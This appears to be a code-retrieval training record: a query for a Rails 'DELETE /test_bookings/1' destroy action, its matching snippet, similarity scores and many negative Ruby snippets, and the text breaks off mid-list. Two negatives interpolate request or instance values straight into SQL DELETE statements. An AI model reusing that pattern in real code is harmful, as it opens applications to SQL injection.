"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n flash[:notice] = t('book.title2')+\" \"+t('updated')\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find_by(id: params[:id])\n @booking.update(acceptance: true)\n UserMailer.confirm_email(@booking).deliver_now\n redirect_to job_bookings_path(params[:job_id]), notice: 'Application was successfully updated.' \n # respond_to do |format|\n # if @booking.update(booking_params)\n # format.html { redirect_to @booking, notice: 'Application was successfully updated.' }\n # format.json { render :show, status: :ok, location: @booking }\n # else\n # format.html { render :edit }\n # format.json { render json: @booking.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bookable.update(bookable_params)\n format.html { redirect_to @bookable, notice: 'Bookable was successfully updated.' }\n format.json { render :show, status: :ok, location: @bookable }\n else\n format.html { render :edit }\n format.json { render json: @bookable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n booking = Booking.find(params[:id])\n \n # Check if user is the owner of the booking\n if current_user[:id] == booking[:user_id]\n if booking.update_attributes(booking_params) \n render json: { status: 'SUCCESS', message: 'Updated booking', data: booking }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Booking not updated', data: booking.errors }, status: :unprocessable_entity\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors.messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to profile_bookings_url(@profile), notice: 'Booking was successfully updated.' }\n format.json { render :index, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n @bingo = Bingo.find(params[:id])\n\n respond_to do |format|\n if @bingo.update_attributes(params[:bingo])\n format.html { redirect_to(@bingo, :notice => 'Bingo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bingo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def update\n @book_type = BookType.find(params[:id])\n\n respond_to do |format|\n if @book_type.update_attributes(params[:book_type])\n format.html { redirect_to(@book_type, :notice => 'BookType was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @booker = Booker.find(params[:id])\n\n respond_to do |format|\n if @booker.update_attributes(params[:booker])\n format.html { redirect_to(@booker, :notice => 'Booker was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booker.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n #expire_page :controller => 'guestbook', :action => 'index'\n @guestbook = Guestbook.find(params[:id])\n\n respond_to do |format|\n if @guestbook.update_attributes(params[:guestbook])\n flash[:notice] = 'Guestbook was successfully updated.'\n format.html { redirect_to admin_guestbooks_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @guestbook.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_add_book\n @d.add_book\n assert_equal @d.resources[\"books\"], 1\n @d.add_book\n assert_equal @d.resources[\"books\"], 2\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er blevet opdateret.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @businessbook = Businessbook.find(params[:id])\n\n respond_to do |format|\n if @businessbook.update_attributes(params[:businessbook])\n format.html { redirect_to @businessbook, :notice => 'Businessbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @businessbook.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @address_book = AddressBook.find(params[:id])\n\n respond_to do |format|\n if @address_book.update_attributes(params[:address_book])\n flash[:notice] = :address_book_updated.l\n format.html { redirect_to(address_books_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @address_book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @book_type = BookType.find(params[:id])\n\n respond_to do |format|\n if @book_type.update_attributes(params[:book_type])\n format.html { redirect_to(@book_type, :notice => 'Book type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.61841005",
"0.6110311",
"0.6105933",
"0.6101895",
"0.6094149",
"0.6052914",
"0.5976284",
"0.5970495",
"0.59648174",
"0.5959135",
"0.5958853",
"0.5946206",
"0.5942621",
"0.591912",
"0.5849802",
"0.5847772",
"0.58415073",
"0.58229226",
"0.58229226",
"0.58229226",
"0.5809645",
"0.5809645",
"0.5809645",
"0.5809645",
"0.5807376",
"0.5793542",
"0.5793542",
"0.5793542",
"0.57846487",
"0.57842594",
"0.5782302",
"0.5770164",
"0.5752221",
"0.5716205",
"0.5704917",
"0.56785446",
"0.5675519",
"0.56675303",
"0.56539166",
"0.5638361",
"0.561333",
"0.5608859",
"0.5581138",
"0.55762947",
"0.5572468",
"0.55685395",
"0.5568025",
"0.5563937",
"0.5561531",
"0.5560467",
"0.5558915",
"0.5557196",
"0.5552735",
"0.55518496",
"0.55494297",
"0.55491626",
"0.5548905",
"0.5546518",
"0.55348104",
"0.55348104",
"0.55348104",
"0.55348104",
"0.55348104",
"0.55348104",
"0.55348104",
"0.55348104",
"0.55348104",
"0.55346334",
"0.5534578",
"0.553443",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.5531864",
"0.55308694",
"0.5528444",
"0.5525788",
"0.5524544",
"0.55209935",
"0.55206245",
"0.55159295",
"0.55136275",
"0.5508798",
"0.5500553",
"0.54989934",
"0.5498199",
"0.5486411",
"0.548317",
"0.5481354",
"0.5480219",
"0.5480219",
"0.5480219"
] | 0.56950676 | 35 |
DELETE /test_bookings/1 DELETE /test_bookings/1.xml | def destroy
@test_booking = TestBooking.find(params[:id])
@test_booking.destroy
respond_to do |format|
format.html { redirect_to(test_bookings_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookings_url) }\n format.xml { head :ok }\n end\n end",
"def remove\n valid = parse_valid(params)\n # puts valid\n choose = $db.search(\"//book[\"+valid+\"]\").remove\n size = 0\n for i in choose\n size += 1\n end\n $file = open PATH, \"w\"\n $file.write $db\n $file.close\n render :soap => \"<result>\"+size.to_s+\"</result>\"\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete_bookings()\n sql = \"DELETE FROM bookings\n WHERE bookings.member_id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @guest_book = GuestBook.find(params[:id])\n @guest_book.destroy\n\n respond_to do |format|\n format.html { redirect_to(guest_books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n \n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @addbook = Addbook.find(params[:id])\n @addbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(addbooks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @booking = @room.bookings.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to property_room_bookings_url(@property, @room) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @house_book = HouseBook.find(params[:id])\n @house_book.destroy\n\n respond_to do |format|\n format.html { redirect_to(house_books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @api_book.destroy\n\n head :no_content\n end",
"def destroy\n @loanbook = Loanbook.find(params[:id])\n @loanbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(loanbooks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = UhaBook.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(uha_books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @testing = Testing.find(params[:id])\n @testing.destroy\n\n respond_to do |format|\n format.html { redirect_to(testings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.xml { head :ok }\n format.json { head :no_content }\n end\n end",
"def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @customizebooking = Customizebooking.find(params[:id])\n @customizebooking.destroy\n\n respond_to do |format|\n format.html { redirect_to(customizebookings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bookfair = Bookfair.find(params[:id])\n @bookfair.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookfairs_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n DB.exec(\"DELETE FROM users WHERE id = #{@id};\")\n # DB.exec(\"DELETE FROM checkouts WHERE user_id = #{@id};\") --> delete books from users checkout history, but does not delete the books from the database??\n end",
"def destroy\n @booker = Booker.find(params[:id])\n @booker.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @patient = Patient.find(params[:patient_id])\n @booking = Booking.find(params[:id])\[email protected]\nrespond_to do |format|\nformat.html { redirect_to patient_booking_path(@patient) }\nformat.xml { head :ok }\nend\nend",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\n #expire_page :controller => 'guestbook', :action => 'index'\n @guestbook = Guestbook.find(params[:id])\n @guestbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_guestbooks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book_type = BookType.find(params[:id])\n @book_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(book_types_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @booking.destroy\n\n head :no_content\n end",
"def destroy\n @bookkeeping.destroy\n\n head :no_content\n end",
"def destroy\n @cash_book = CashBook.find(params[:id])\n @cash_book.destroy\n\n respond_to do |format|\n format.html { redirect_to(cash_books_url) }\n format.xml { head :ok }\n end\n end",
"def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end",
"def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"def destroy\n @book.destroy\n head :no_content\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :ok }\n end\n end",
"def delete\n\n end",
"def delete\n \n end",
"def delete_all(xpath); end",
"def destroy\n @chapter.destroy\n respond_to do |format|\n format.html { redirect_to(edit_book_path(@chapter.book)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bingo = Bingo.find(params[:id])\n @bingo.destroy\n\n respond_to do |format|\n format.html { redirect_to(bingos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_book(db, book_name)\n\tdb.execute(\"DELETE FROM books WHERE book_name =?\", [book_name])\nend",
"def destroy\n @bookmark = Bookmark.find_by_user_id_and_book_id(current_user.id, params[:book_id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to(:back, :notice => \"Bookmark was successfully deleted.\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking = Booking.find(params[:id])\n @booking.destroy\n\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def delete\n Book.find(params[:id]).destroy\n redirect_to :action => 'list'\n end",
"def destroy\n @customizebooking = Customizebooking.find(params[:id])\n @customizebooking.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_customizebookings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @atest = Atest.find(params[:id])\n @atest.destroy\n\n respond_to do |format|\n format.html { redirect_to(atests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n end\n end",
"def delete\n end",
"def destroy\n @booking.destroy\n end",
"def delete_isbn_association(org_unit_id, isbn) # DELETE\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/isbn/#{isbn}\"\n _delete(query_string)\nend",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to '/bookings' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cooking_ingredient.destroy\n\n respond_to do |format|\n format.html { redirect_to(cooking_ingredients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n book_id = @fee.book_id\n @fee.destroy\n redirect_to book_path(book_id)\n end",
"def destroy\n @belonging = Belonging.find(params[:id])\n @belonging.destroy\n\n respond_to do |format|\n format.html { redirect_to(belongings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book_shelf = BookShelf.find(params[:id])\n @book_shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to book_shelves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to(bids_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def destroy\n @librarybook = Librarybook.find(params[:id])\n @librarybook.destroy\n\n respond_to do |format|\n format.html { redirect_to(librarybooks_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def destroy\n @businessbook = Businessbook.find(params[:id])\n @businessbook.destroy\n\n respond_to do |format|\n format.html { redirect_to businessbooks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expectation = RiGse::Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to(expectations_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @viewing = Viewing.find(params[:id])\n @viewing.destroy\n\n respond_to do |format|\n format.html { redirect_to(viewings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to bookings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boat = Boat.find(params[:id])\n @boat.destroy\n\n respond_to do |format|\n format.html { redirect_to(boats_url) }\n format.xml { head :ok }\n end\n end",
"def test_delete_file()\n\n path = 'folder/FileTest.pdf'\n versionId = nil\n storage = 'First Storage'\n request = DeleteFileRequest.new(path, versionId, storage)\n\n result = @storage_api.delete_file(request)\n assert result.code == 200,'Error while deleting document'\n\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @address_book = AddressBook.find(params[:id])\n @address_book.destroy\n flash[:notice] = :address_book_deleted.l\n\n respond_to do |format|\n format.html { redirect_to(address_books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n sql = \"DELETE FROM Booking WHERE bookingId = #{params[:id]}\"\n ActiveRecord::Base.connection.execute(sql)\n\n respond_to do |format|\n format.html { redirect_to bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n @client.delete_document(@path)\n end",
"def destroy\n @books_category = BooksCategory.find(params[:id])\n @books_category.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_categories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy #DESC: Eliminar hobbies\n @hobbie = Hobbie.find(params[:id])\n @hobbie.destroy\n\n respond_to do |format|\n format.html { redirect_to(hobbies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bdig = Bdig.find(params[:id])\n @bdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(bdigs_url) }\n format.xml { head :ok }\n end\n end",
